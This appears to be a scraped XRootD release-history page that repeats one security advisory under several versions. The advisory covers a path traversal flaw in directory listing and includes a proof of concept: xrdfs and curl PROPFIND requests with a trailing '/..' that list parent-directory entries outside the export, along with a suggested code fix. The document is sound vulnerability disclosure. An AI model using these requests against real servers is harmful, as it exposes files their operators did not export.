            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Jan 28, 2025

5.7.2 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Nov 29, 2024

5.7.1 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Sep 04, 2024

5.7.0 minor

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Jul 01, 2024

5.6.9 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Mar 08, 2024

5.6.8 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Feb 23, 2024

5.6.7 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Feb 06, 2024

5.6.6 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Jan 25, 2024

5.6.5 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Jan 23, 2024

5.6.4 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions
